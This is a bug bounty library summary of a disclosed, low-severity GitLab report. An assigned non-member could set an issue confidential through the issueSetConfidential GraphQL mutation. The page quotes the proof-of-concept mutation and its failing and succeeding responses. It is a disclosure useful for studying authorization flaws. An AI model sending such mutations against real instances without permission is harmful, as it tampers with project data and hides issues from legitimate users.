# Guest users can change the confidentiality attribute on those issues that have been assigned to them

A non-member assigned to a GitLab issue could flip its confidential flag via the issueSetConfidential GraphQL mutation, hiding it from Guest users.

- Payout: $100
- Severity: low
- Program: GitLab
- Found by: 0xwintermute
- Disclosed: 2020-11-09
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/762271
- Library page: https://bugbountylibrary.com/r/h1%3A762271
- Tags: area:web domain:api domain:web impact:integrity kind:bounty platform:hackerone sev:low tech:graphql technique:source-review vuln:access-control vuln:business-logic

**Target:** GitLab GraphQL issueSetConfidential mutation
**Root cause:** The GraphQL mutation's authorization only checked issue-assignee status rather than requiring Reporter role or issue authorship, unlike the web UI/API which enforce proper permissions.
**Steps:**
1. Victim creates issue in a public project and assigns it to attacker via `/assign @username` quick action.
2. Attacker (no project membership) receives notification and can view issue but has no UI option to change confidentiality.
3. Attacker sends `mutation { issueSetConfidential(input:{projectPath:"group/project", iid:"5", confidential:true}){ errors } }`.
4. Mutation succeeds with empty errors; issue becomes confidential and disappears for Guest/anonymous users.
**How found:** Researcher noticed the web UI and API did not offer confidentiality changes to non-members, then tested the GraphQL mutation before and after being assigned, observing the permission check changed based on assignee status.
**Exploitation:** Attacker needs only to be assigned to an issue (e.g., victim assigns by mistake or on purpose). Then a single GraphQL mutation toggles confidentiality, hiding the issue from Guest-role and anonymous users, causing denial of visibility.
**Insight:** When a UI/API hides an action but a GraphQL mutation exists for it, test the mutation's authorization separately—assignee-based checks can diverge from role-based checks.

## Proof of concept (copied exactly from the original report)

**GraphQL mutation issueSetConfidential by assigned guest**

```
mutation {
  issueSetConfidential(input:{projectPath:"groupID/projectID", iid:"5", confidential:true}){
    errors
  }
}



**GraphQL Response**

{
  "data": {
    "issueSetConfidential": null
  },
  "errors": [
    {
      "message": "The resource that you are attempting to access does not exist or you don't have permission to perform this action",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "issueSetConfidential"
      ]
    }
  ]
}



We will get back later to this, for now lets focus again on our `victim@gitlab.com`. As we have decided to assign the recently created issue to a new user, which in this case will be our `attacker@gitlab.com` (Either by mistake or on purpose):

*Note* : In this case I'm going to use the quick action `/assign @username` as I cannot assign external users that do not belong to a project using the web interface (I'm not sure if this is kind of expected, but thought would be worth to be brought to your attention)



{F664559}



Right after doing this, the `attacker@gitlab.com` will receive a new notification on the UI, as shown below:

{F664560}

After visiting the new issue as the `attacker@gitlab.com` we can observe two things:

* There is no user assigned to the issue
* There is no option to change the `confidentiality` attribute through the web interface.

{F664561}

However, if we repeat the same GraphQL mutation query mentioned above, we will receive a different response this time:


**GraphQL Request**

mutation {
  issueSetConfidential(input:{projectPath:"groupID/projectID", iid:"5", confidential:true}){
    errors
  }
}

**GraphQL Response**

{
  "data": {
    "issueSetConfidential": {
      "errors": []
    }
  }
}
```

